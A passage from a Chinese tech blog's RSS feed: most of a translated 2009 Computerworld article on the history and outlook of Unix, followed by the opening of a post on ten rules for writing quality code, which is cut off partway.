Canaday）加入了进来。一些当时Multics的理念也被带入到这个新的操作系统中来，不过，更为漂亮的Unix则带来了&#8211;&#8220;更少则为更多（less-is-more）&#8221;的哲学。</p>\n<p>（<strong style=\"mso-bidi-font-weight: normal\">陈皓注：</strong>在我们所认识的历史中，这两位程序员当时是在Multics下开发一个叫&#8221;太空旅行&#8221;的游戏，后来Multics项目解体了，这两位哥们觉得自己的游戏白弄了，所以就为了这个游戏开发了一个新的操作系统Unix，Unix的取名和Multics是相反的，Multics有&#8221;复杂的&#8221;的意思，而Unix则是&#8221;小巧的&#8221;意思。后来他们觉得这个操作系统非常不错，所以在后来发表了一篇论文向全世界宣布了这一操作系统，从此开启了计算机世界崭新的文化，详情可参看我的《<strong style=\"mso-bidi-font-weight: normal\">Unix</strong><strong style=\"mso-bidi-font-weight: normal\">传奇</strong>》<a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542340.aspx\">上篇</a>，<a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542353.aspx\">下篇</a>）</p>\n<p>&#8220;一个强大的用于交互式的操作系统不应该在价格成本和人力成本上都是昂贵的&#8221; Ritchie 和 Thompson在开发这个操作系统5年后，他们在&#8221;计算机协会（ACM- Association for Computing Machinery）杂志&#8221;上发表了一篇文章《<em>Communications of the ACM</em> (CACM)》，文中说，&#8221;我们希望Unix的用户会找到那些非常重要的系统特性就是它是&#8217;简单的&#8217;，&#8217;一流的&#8217;和&#8217;易用的'&#8221;。</p>\n<p>显然，他们做到了，Unix的确成为了IT领域中的一块基石，被广泛地部署到了大学，政府和企业的服务器和工作站上。并且，Unix的影响力开发迅速地传播开来，这恐怕超出了所有人的估计，正如ACM在1983年给Thompson 和 Ritchie颁发最具价值的图灵奖（计算机领域的诺贝尔奖）所记录的那样&#8211;&#8220;Unix系统的模式已经在以一种全新的编程思想领导着新一代的软件开发&#8221;。</p>\n<h2 style=\"MARGIN: auto 0in\"><a name=\"early\"></a>Unix早期</h2>\n<p style=\"TEXT-ALIGN: center\"> <img decoding=\"async\" loading=\"lazy\" src=\"http://www.computerworld.com/common/images/site/features/2009/062009/unix_kendennis.jpg\" alt=\"\" width=\"230\" height=\"150\" /></p>\n<p style=\"TEXT-ALIGN: center\">Thompson 和 Ritchie.</p>\n<p>当然，Unix的成功不是一蹴而就的。 在1971年，它首先被移植到了PDP-11微机（一个比PDP-7更强的微机）。文本格式和文本编译程序在这时被加入进了Unix。并且，当时的实验室专利部门已经开始用这些文本编译器，这也是Unix系统除开发团队之外的第一个用户。</p>\n<p>在1972年，Ritchie引入了一个更高级的语言&#8211;C语言（基于Thompson的B语言），此后，Thompson用C语言重写了Unix，这极大地增加了Unix的可移植跨平台性。然后，他们为这个操作系统命名Unics(Uniplexed Information and Computing Service)，这是和Multics玩的一个文字游戏。但最后，Unix成了最终的名字。（<strong style=\"mso-bidi-font-weight: normal\">陈皓注</strong>：Unix下的经常出现缩写，如usr 是 user, ed是edit，gp是group，这也是Unix的文化。Unix的更名可能也是因为这个吧）</p>\n<p>是时候向全世界宣布这个系统系统了。Ritchie 和 Thompson于1974年7月在 <em>CACM</em> 上发表了一篇论文&#8211; &#8220;<a href=\"http://cm.bell-labs.com/cm/cs/who/dmr/cacm.html\">The UNIX Time-Sharing System</a>&#8220;《Unix分时操作系统》，这篇论文就像一个风暴一样席卷了都个IT界。直到有一天，Unix被限制在了只能由Bell实验室中的少数人使用。但是，因为有计算机协会的支持，当时的Unix处于一个引爆点。</p>\n<p>&#8221; <em>CACM</em> 的那篇论文产生了一个戏剧化的影响&#8221;， IT 历史学家 Peter Salus 在他的书《<em>The Daemon, the Gnu and the Penguin</em>》中写到， &#8220;很快，Ken 被铺天盖地的Unix的请求所淹没&#8221;</p>\n<p> </p>\n<h2 style=\"MARGIN: auto 0in\"><a name=\"hackers\"></a>黑客的天堂</h2>\n<p> Thompson 和 Ritchie 算得上是史上最名副其实的&#8221;黑客&#8221;，当时&#8221;黑客hacker&#8221;一词指的是那些把非同寻常的创意组合起来， 以一种超常智力，并以废寝忘食的态度解决了某个鲜为人知的软件问题的人。</p>\n<p>Thompson 和 Ritchie他们的所使用的开发方法，他们所写下的代码，极大地吸引了大学里的程序员，并在以后，这些大学中其中的一些程序员因为Unix开创了自己的公司，他们都是在Unix发展过程中的黑客，就像，加利福尼亚州大学的Bill Joy，卡内基梅隆大学的<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9133574#rashid\">Rick Rashid</a> ，以及Bell实验室<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9133574#korn\">David Korn</a>。当然，他们开创的这些公司都没有IBM，HP和Microsoft的资助。</p>\n<p>&#8220;几乎从一开始，Unix就能够，也确实是开始了自我进化&#8221;，Thompson和Ritchie在<em>CACM</em> 论文中说到，&#8221;因为所有的源代码总可以容易被人在线地更改，所以，当有一个新的想法被发明，发现或是被建议出来的时候，大家都非常自愿地修订或重写Unix系统和上面的软件&#8221;。</p>\n<p>Korn，一个今天还在AT&amp;T工作的员工，上世纪70年代曾是Bell 实验室的一个程序员。&#8221;Unix的一个特点是，一个小工具刚被完成，就被另一个更好的工具所代替&#8221;，他回忆起来说，&#8221;如果你觉得不好的话，你完全可以开完一个更好的版本&#8221;。Korn当时为Unix开发了一个很具影响力的<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9133574#korn\">Korn shell</a>，本质上来说，当年的Unix就像今天的开源软件。</p>\n<p>Salus，作为一个作家和技术历史家，回忆起，他上世纪70年代在多伦多大学时当教授时，在IBM System/360大机上使用APL编程语言工作时的情景&#8211;那并不很好用，但是自从1978年圣诞节以后，一个哥伦比亚大学的朋友给我演示了一下在微机上运行的Unix，&#8221;我说，&#8217;我的上帝啊&#8217;，我彻底被你征服了&#8221;。</p>\n<p>他说，Unix最关键的优势是他有一个&#8221;管道&#8221;特性（1973年引入），这么我们可以把上一个程序的输出轻松地传给下一个程序。&#8221;管道&#8221;的概念，由Bell实验室的McIlroy发明，随后&#8221;管道&#8221;这个东西被其它几乎所有的操作系统复制，包括所有的Unix， Linux，DOS和Windows。</p>\n<p style=\"TEXT-ALIGN: center\"><img decoding=\"async\" loading=\"lazy\" src=\"http://www.computerworld.com/common/images/site/features/2009/062009/unix_murrayhill_230.jpg\" alt=\"\" width=\"230\" height=\"151\" /></p>\n<p style=\"TEXT-ALIGN: center\">位于新泽西Murray Hill 的Bell 实验室总部</p>\n<p style=\"TEXT-ALIGN: center\"><em>Credit: Alcatel-Lucent/Bell Labs</em></p>\n<p> </p>\n<p>Unix还有一个不错的地方。 &#8220;哇&#8221;，正如Salus所惊叹的，这个操作系统并不需要一个需要一百万美金的大型机才能运行的操作系统。它在极其原始的小型的DEC PDP-7微机上开发出来，因为这是当是Thompson 和 Ritchie可以找到用来写这个操作系统最好的机器（<strong style=\"mso-bidi-font-weight: normal\">陈皓注：</strong>当时这个机器像垃圾一样被扔在实验室角落里）</p>\n<p>很多很多的大学研究者们使用Unix就是因为这是一个简单和容易修改的操作系统，而且对硬件资源要求的很少，代码也是开源和免费的。就像Sun Microsystems公司，或是一些用于特定的科学计算的主机公司，例如Multiflow Computer，他们在选择Unix作为操作系统时都和那些大学研究者们有相同的原因。</p>\n<h2 style=\"MARGIN: auto 0in\">Unix家谱</h2>\n<p>Unix成长为一个非私有的操作系统，是因为1956年的AT&amp;T公司受命于联邦去经营电报电话服务。当然也可以开发软件，甚至那个软件可以有&#8221;合理&#8221;收费的许可证，但是这个公司却被禁止从事任何和计算机有并的商业活动。</p>\n<p>Unix，在开发的过程中，没有任何的奖励制度和管理，从一开始在AT&amp;T公司出现时，其是一种近似于好奇或兴趣的东西。</p>\n<p>然而，20世纪70年代，AT&amp;T公司开始意到Unix所带来的商业价值。公司的律师开始寻找一些手段来保护Unix，并让其成为一种商业机秘。从1979年Unix的版本V7开始，Unix的许可证开始禁止大学使用Unix的源码，包括在授课中学习。</p>\n<p>没问题！一个荷兰阿姆斯特朗Vrije大学使用版本V6的计算机科学系的教授Andrew Tanenbaum说。在1987年，他为教学目的克隆了一个Unix，创建一个叫Minix的开源的操作系统，并可以在80286的Intel芯片上运行。</p>\n<p>&#8220;Minix使用了所有和Unix一样的想法，并且这是一个非常灿烂的事物&#8221;，Salus说，&#8221;只有一个专门是程序员的并且非常了解操作系统内部的人才成干出这件事来&#8221;。Minix从此变成了另一个起点&#8211;Linus Torvalids 在1991年使用Minix创造了Linux &#8211;这并不是一个简单的Unix克隆版本，只不过它长得像Unix。</p>\n<p>让我们再回到Linux出现的十年以前，Bill Joy，毕业于加利福尼亚州大学伯克利分校，当年，他在学校的时候拷贝了Bell 实验室的Unix版本，并且所到了这是一个很不错的可以使用Pascal编译器和文本编译器的操作系统平台。</p>\n<p>于是，他更改变扩展了Unix，形成了Unix的第二个最主要的分枝&#8211;BSD（Berkeley Software Distribution）Unix。在1978年3月，Joy卖出了第一个BSD的拷贝：50美金。</p>\n<p>到了1980年，有两个最主要的Unix的版本线，一个是Berkeley的BSD，另一个是AT&amp;T的Unix，在这个时候，很显然，竞争最终引发了Unix的战争。在这场战争中，好的是，软件开发人员还是能够得到Unix的源码并对其按照自己的需要和兴致进行裁剪。而不好的是，Unix开始一发不可收拾地开发不停地出现各种各样的变种。</p>\n<p>1982年，Joy创建了Sun Microsystems公司并提供了工作站&#8211;Sun-1，运行在当一个BSD的版本，叫SunOS（Solaris以之后的十年出现）。而AT&amp;T则在随后的几年中发布了Unix System V的第一版，一个具有强大影响力的操作系统，最终造就了IBM的AIX和HP的HP-UX。</p>\n<p style=\"MARGIN: 0in 0in 0pt\"><a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9133696\"></a></p>\n<p style=\"MARGIN: 0in 0in 0pt\"> </p>\n<p style=\"MARGIN: 0in 0in 0pt; TEXT-ALIGN: center\"><img decoding=\"async\" loading=\"lazy\" src=\"http://www.computerworld.com/common/images/site/features/2009/062009/unix_chart_420.jpg\" alt=\"\" width=\"420\" height=\"267\" /></p>\n<p style=\"MARGIN: 0in 0in 0pt; TEXT-ALIGN: center\">Unix 家谱. <em>Credit: Eraserhead1 (<a href=\"http://creativecommons.org/licenses/by-sa/3.0/\" target=\"new\">cc-by-sa-3.0</a>, <a href=\"http://en.wikipedia.org/wiki/GNU_Free_Documentation_License\" target=\"new\">GFDL</a>)</em><br />\n<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9133696\">点击这里下载大图</a></p>\n<p style=\"MARGIN: 0in 0in 0pt\"> </p>\n<h2 style=\"MARGIN: auto 0in\">Unix战争</h2>\n<p> 在上世纪80年代中期，大量的用户包括联邦政府，开始抱怨&#8221;Unix是一个理论上单一的可移植的操作系统&#8221;，但事实上应该如此却并不是这样。Unix软件供应商们，一方面为这些抱怨而为 其买单（&#8221;空头人情&#8221;），而另一方面，他们却在没日没夜地给用户们定制Unix的各种功能和APIs，旨在为了留下用户。 </p>\n<p> 而其它的Unix产商害怕At&amp;T和Sun的联盟，所以，有各种各样的派别组织开始在&#8221;标准&#8221;上竞争，这些组织大多在X或Open命名，开放软件基金会（Open Software Foundation），Unix开放系统国际和公司（Unix International and Corporation for Open Systems）等等，在这些组织中形成的各种各样的争论，辩论，抗辩和观点可以写一本厚厚的书，但他们无一例外地以肆意相互评击来主张一个统一的Unix局面。</p>\n<p> 刚形成的<a href=\"http://en.wikipedia.org/wiki/Open_Software_Foundation\" target=\"new\">开放软件基金会</a>，其包括了IBM，HP，DEC和其它公司共同来反抗AT&amp;T和Sun的联盟。在一个1988年未出版的文件中，DAPRA（Defense Advanced Research Projects Agency）一个著名的小型机先驱<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9133574&amp;pageNumber=2#bell\">Gordon Bell</a>说， &#8220;开放软件基金会OSF是一条&#8217;Unix穷人&#8217;进入正在发展的市场的一条路，他们以此来供养那个的高利润代码博物馆&#8221;。</p>\n<p> Unix战争在解决差异和设定一个操作系统标准中以失败告终。但在1993年，Unix社区听到了一个&#8221;警钟&#8221;&#8211;Microsoft发布了Windows NT，一个企业级的，32位的，支持多处理的操作系统。而Windows NT的所有者瞄准了Unix领域，并企图扩展Microsoft的桌面系统霸权到各种数据中心以及被Sun服务器所占领的地方。</p>\n<p> Microsoft的用户欢呼雀跃，Unix的产商开始惊慌。所有的主流的Unix竞争者们开始主动地联合起来形成了一个<a href=\"http://en.wikipedia.org/wiki/COSE\" target=\"new\">通用开放式软件环境（Common Open Software Environment）</a>，并在随后的几年中放下了他们的武器并开始着手把AT&amp;T和Sun联盟为背景的&#8221;Unix International Group&#8221;并入开放软件基金会OSF。这个合并在今天叫做&#8211;<a href=\"http://www.opengroup.org/\" target=\"new\">The Open Group</a>，而证明Unix系统和所有者的是<a href=\"http://www.unix.org/what_is_unix/single_unix_specification.html\" target=\"new\">Single Unix Specification</a>，现在官方叫法是&#8211;&#8220;Unix&#8221;。</p>\n<p> </p>\n<p>但在实践过程中，所有关于Unix的开发的确需要一个尽可能&#8221;标准化的&#8221;Unix，但是由于这些产商热衷于竞争的习惯，在Unix下并没有做到，但这一&#8221;标准化&#8221;被随后如潮水一样涌来的一个叫Linux的操作系统给完成了，这是一个开源的系统系统，则我们的Tanenbaum教授开发的Minix发展而来。</p>\n<h3 style=\"MARGIN: 12pt 0in 3pt\"><a name=\"whatis\"></a>什么是&#8221;Unix&#8221;?</h3>\n<p>Unix，许多人会说，是一个几十年前在Bell实验室写的操作系统，Unix包括其所有的派生版本。今天，最主要的Unix版本是从两个主干上分出来的：一个当然是从AT&amp;T出来的，另一个则是通过加利福尼亚伯克利分校产生的。今天，最顽强的分枝是IBM的AIX和HP的HP-UX以及Sun的Solaris。</p>\n<p>然而，只有&#8221;The Open Group&#8221;拥有Unix的注册商标，<a href=\"http://www.unix.org/what_is_unix.html\" target=\"new\">定义一个Unix</a>需要遵从<a href=\"http://www.unix.org/what_is_unix/single_unix_specification.html\" target=\"new\">Single Unix Specification</a> (SUS)。这包含了那些从来没有Unix思想的操作系统，比如Mac OS X Leopard（这是从BSD和Mach那边发展来）以及IBM的z/OS（这是从大型机操作系统MVS发展来的），因为它们遵从了SUS的API规范。基本上来说，只要那看起来像是一个Unix，那他就是一个Unix，而不管它是由什么代码写的。</p>\n<p>当然，一个比较宽松的Unix定包含了Unix-Like的操作系统，有些时候，也叫做Unix-Clones或Look-Alikes，这些都是复制了Unix的东西但他们却并不直接使用Unix的代码。在这堆操作系统中，领头羊是Linux。</p>\n<p>最后，我们可以把Unix叫做一种&#8221;操作系统&#8221;因为这是已成了实际习惯。另外，对于一个操作系统的内核，Unix实现了很多典型的工具比如命令行编辑器，应用程序接口，开发环境，开发库和文档&#8211;<em>Gary Anthes</em></p>\n<h2 style=\"MARGIN: auto 0in\">Unix的未来</h2>\n<p>由于这些长期竞争的各种版本的Unix缺乏可移值性，以及在价格方面没有优势，在x86芯片上占据主导地位的Linux和Windows将会快速地让所有的IT机构把Unix替换掉。调查机构<a href=\"http://www.gartner.com/DisplayDocument?ref=g_search&amp;id=878016\" target=\"new\">Gartner Group</a>最近公布了这项调查结果。</p>\n<p>&#8220;在主机服务器方面，调查结果继续显示公众对Linux的热情，而Windows也有相应的增长，而Unix系统还会长期存在，但是其逐渐地下滑&#8221;，这个调查报告由2009年2月发布。</p>\n<p>&#8220;Unix还会像以前那样长期存在，但它已不如从前，而这种局面只会愈演愈烈&#8221; Gartner分析师George Weiss说，&#8221;Linux将会是Unix的另一选择&#8221;，虽然Linux并没有像Unix那样经过了这么长的开发、性能调整和压力测试的过程，但很明显他很快就要达到像Unix那样的性能，可靠和扩展性&#8221;。</p>\n<p>但是，最近一个由Computerworld发起一个<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9133777\">民意调查</a>，暗示了所有一切把Unix踢开的举动不会很快地发生。在一个由130个Unix用户和211个IT经理的问卷调查中显示，其90%的人说他们的公司&#8221;非常极端地信任Unix&#8221;。不到半数的被访者说，&#8221;Unix是一个非常基本的平台，但我们并不确定其未来是否会被保留&#8221;，而只有12%的受访者说，&#8221;我们期望在未来把Unix迁走&#8221;。节省成本，是诸多原因中最主要是一个原因。</p>\n<p>Weiss说，移值到x86处理器上会越来越快，因为这些硬件的价值实在是太便宜了。&#8221;水平扩展架构，集群技术，云计算，虚拟化技术，你只需要把这些技术合并一下，通过这些技术应用的趋势，我们可以看到操作系统的选择基本上就是Linux和Windows&#8221;，他说。</p>\n<p>&#8220;例如&#8221;，Weiss说，&#8221;在最近Cisco宣布的<a href=\"http://newsroom.cisco.com/dlls/2009/prod_031609.html\" target=\"new\">Unified Computing 架构</a>，你可以拥有网络，存储，计算，内存，光纤连接，但你不需要Unix。你可以安装Linux或Windows并使用x86平台。所以Intel赢得了Linux取代Unix的那半壁江山&#8221;。</p>\n<p>The Open Group，目前Single Unix Specification和Unix系统认证的所有者，开始有点退步并有点承认Linux也是一个Unix系统的选择，因为Unix是&#8221;高端性能，可扩展性和性能可以用于很多相当重要的应用&#8221;，而Linux则是一个更为小的，注重于并不太注重的应用。</p>\n<p>AT&amp;T的Korn是其中一个对Unix仍然看到的人。Korn说，Unix的长处是它的历史，自从1973年来引入&#8221;管道&#8221;技术，它就可以被分成几个部分来部署。这会把Unix带向前方，他说，&#8221;这个哲学体系可以运用在云计算中，在那里，你只需要创建一些小的可重用的碎片而不是一个巨大的应用&#8221;。</p>\n<h2 style=\"MARGIN: auto 0in\"><a name=\"legacy\"></a>Unix传奇</h2>\n<p> </p>\n<p>无论最后的Unix命运会怎么样，这个从Bell实验室出生的40岁的家伙，已经书写了一段传奇，而且这个传奇可能还会继续几十年。它影响并产生了一个相当相当长的流行软件列表，包括给IBM，HP和Sun提供的Unix，以及Apple的Mac OS X和Linux。它同样影响了Microsoft的Windows NT以及IBM和Microsoft弄出来的DOS。</p>\n<h2 style=\"MARGIN: auto 0in\">请你来说</h2>\n<h3 style=\"MARGIN: 12pt 0in 3pt\"><a href=\"http://www.computerworld.com/comments/node/9133570\">分享你的Unix记忆！</a></h3>\n<p> </p>\n<p>因为Unix，产生了许多公司，并走向了成功，因为当时Unix给了一个低成本的平台。在Internet上的服务器，Unix是核心的建筑区，今天它也是所有通讯系统的心脏。由它孕育了许多架构上的创意，比如管道，并且，Unix引出的Mach为科学作出了巨大的贡献，同时也为多处理器计算作出了贡献。</p>\n<p>ACM在1983年因为Unix授予Thompson和Ritchie图灵奖时说过：&#8221;Unix系统最天才的部分是它的framework，它激发了程序员们沿着这一方向工作&#8221;。</p>\n<p> </p>\n<p style=\"MARGIN: 0in 0in 0pt\"><strong style=\"mso-bidi-font-weight: normal\">作者</strong>：Gary Anthes<br />\n<strong style=\"mso-bidi-font-weight: normal\">时间</strong>：2009年6月4日美国东部时间凌晨12:01</p>\n<p style=\"MARGIN: 0in 0in 0pt\"> </p>\n<p style=\"MARGIN: 0in 0in 0pt\"><strong style=\"mso-bidi-font-weight: normal\">译者</strong>：陈皓（haoel(at)hotmail.com）<br />\n<strong style=\"mso-bidi-font-weight: normal\">时间</strong>：2009年6月11日北京时间晚上10:22</p>\n<p style=\"MARGIN: 0in 0in 0pt\"><strong style=\"mso-bidi-font-weight: normal\"> </strong></p>\n<p style=\"MARGIN: 0in 0in 0pt\"><strong style=\"mso-bidi-font-weight: normal\">关于更为详细的历史，可以参考我的《Unix</strong><strong style=\"mso-bidi-font-weight: normal\">传奇》<a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542340.aspx\">上篇</a></strong><strong style=\"mso-bidi-font-weight: normal\">，<a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542353.aspx\">下篇</a></strong></p>\n<p style=\"MARGIN: 0in 0in 0pt\"><strong style=\"mso-bidi-font-weight: normal\">以及一篇CSDN</strong><strong style=\"mso-bidi-font-weight: normal\">对我的采访《<a href=\"http://blog.csdn.net/haoel/archive/2007/07/13/1688006.aspx\">Unix的现状与未来</a></strong><strong style=\"mso-bidi-font-weight: normal\">》</strong></p>\n<p><strong style=\"mso-bidi-font-weight: normal\">（本文由陈皓翻译，在转载时请注明作者和出处）</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/sed-superman-150x150.png\" alt=\"sed 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_title\">sed 简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/awk-150x150.jpg\" alt=\"AWK 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_title\">AWK 简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1023.html\">Unix 40年：昨天，今天和明天</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1023.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>32</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>优质代码的十诫</title>\n\t\t<link>https://coolshell.cn/articles/1007.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1007.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 07 Jun 2009 11:20:56 +0000</pubDate>\n\t\t\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1007</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>1.- DRY: Don’t repeat yourself. DRY 是一个最简单的法则，也是最容易被理解的。但它也可能是最难被应用的（因为要做到这样，我们需...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1007.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1007.html\">优质代码的十诫</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<h2>1.- DRY: Don’t repeat yourself.</h2>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/06/10commandements.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-1008\" title=\"10commandements\" src=\"https://coolshell.cn/wp-content/uploads/2009/06/10commandements-223x300.jpg\" alt=\"10commandements\" width=\"223\" height=\"300\" /></a>DRY 是一个最简单的法则，也是最容易被理解的。但它也可能是最难被应用的（因为要做到这样，我们需要在泛型设计上做相当的努力，这并不是一件容易的事）。它意味着，当我们在两个或多个地方的时候发现一些相似的代码的时候，我们需要把他们的共性抽象出来形一个唯一的新方法，并且改变现有的地方的代码让他们以一些合适的参数调用这个新的方法。</p>\n<p><a href=\"http://en.wikipedia.org/wiki/Don%27t_repeat_yourself\" target=\"_blank\">DRY</a> 这一法则可能是编程届中最通用的法则了，目前为止，应该没有哪个程序员对这一法则存有异议。但是，我们却能发现，一些程序在编写单元测试（unit testing）时忘记了这一法则：让我们相像一下，当你改变一个类的若干接口，如果你没有使用DRY，那么，那些通过调用一系例类的接口的unit test的程序，都需要被手动的更改。比如：如果你的unit test的诸多test cases中没有使用一个标准共有的构造类的方法，而是每个test case自己去构造类的实例，那么，当类的构造函数被改变时，你需要修改多少个test cases啊。这就是不使用DRY法则所带来的恶果。</p>\n<p><span id=\"more-1007\"></span></p>\n<h2>2.- 短小的方法.</h2>\n<p>至少，我们有下面三个不错的理由要求程序员们写下短小的方法。</p>\n<ol>\n<li>代码会变得更容易阅读。</li>\n<li>代码会变得更容易重用（短方法可以减少代码间的耦合程度）</li>\n<li>代码会变得更容易测试。</li>\n</ol>\n<h2>3.- 良好的命名规范</h2>\n<p>使用不错的统一的命名规范可以让你的程序变得更容易阅读和维护，当一个类，一个函数，一个变量的名字达到了那种可以“望文生义”的境界话，我们就可以少一些文档，少一些沟通。文章《<a href=\"https://coolshell.cn/articles/990.html\"><span style=\"color: #2970a6;\">编程中的命名设计那点事 </span></a>》可以给你一些提示。</p>\n<h2>4.- 赋予每个类正确的职责</h2>\n<p>一个类，一个职责，这类规则可以参考一下类的<a href=\"http://butunclebob.com/ArticleS.UncleBob.PrinciplesOfOod\" target=\"_blank\"><strong>S</strong>OLID </a>法则。但我们这里强调的不是一种单一的职责，而是一个正确的职责。如果你有一个类叫Customer，我们就不应该让这个类有sales 的方法，我们只能让这个类有和Customer有最直接关系的方法。</p>\n<h2>5.- 把代码组织起来</h2>\n<p>把代码组织起来有两具层次。</p>\n<ul>\n<li><strong>物理层组织</strong>：无论你使用什么样的目录，包(package)或名字空间(namespace)等的结构，你需要把你的类用一种标准的方法组织起来，这样可以方便查找。这是一种物理性质的代码组织。</li>\n<li><strong>逻辑层组织</strong>： 所谓逻辑层，主要是说，我们如果把两个不同功能的类或方法通过某种规范联系和组织起来。这里主要关注的是程序模块间的接口。这就是我们经常见到的程序模块的架构。</li>\n</ul>\n<h2>6.- 创建大量的单元测试</h2>\n<p>单元测试是最接近BUG的地方，也是修改BUG成本最低的地方，同样也是决定整个软件质量好坏的成败的地方。所以，只要有可能，你就应该写更多的，更好的单元测试案例，这样当你未来有相应代码改变的时候，你可以很简单知道你代码的改变是否影响了其它单元。</p>\n<h2>7.- 经常重构你的代码</h2>\n<p>软件开发是一种持续的发现的过程，从而让你的代码可以跟上最新的实际需求的变化。所以，我们要经常重构自己的代码来跟上这样的变化。当然，重构是有风险的，并不是所有的重构都是成功的，也不是我们随时都可以重构代码。下面是两个重构代码的先要条件，以避免让你引入更多的BUG，或是把本来就烂的代码变得更烂。</p>\n<ol>\n<li>有大量的单元测试来测试。正如前面所说，重构需要用大量的单元测试来做保障和测试。</li>\n<li>每次重构都不要大，用点点滴滴的小的重构来代替那种大型的重构。有太多的时候，当我们一开始计划重构2000行代码，而在3个小时后，我们就放弃这个计划并把代码恢复到原始的版本。所以，我们推荐的是，重构最好是从点点滴滴积累起来的。</li>\n</ol>\n<h2>8.- 程序注释是邪恶的</h2>\n<p>这一条一定是充满争议的，大多数程序员都认为程序注释是非常好的，是的，没错，程序注释在理论上是非常不错的。但是，在实际过程序当中，程序员们写出来的注释却是很糟糕的（程序员的表达能力很有问题），从而导致了程序注释成为了一切邪恶的化身，也导致了我们在阅读程序的时，大多数时候，我们都不读注释而直接读代码。所以，在这里，我们并不是鼓励不写注释，而是——如果你的注释写得不够好的话，那么，你还不如把更重要的时间花在重构一下你的代码，让你的代码更加易读，更加清楚，这比会比注释更好。</p>\n<h2>9.- 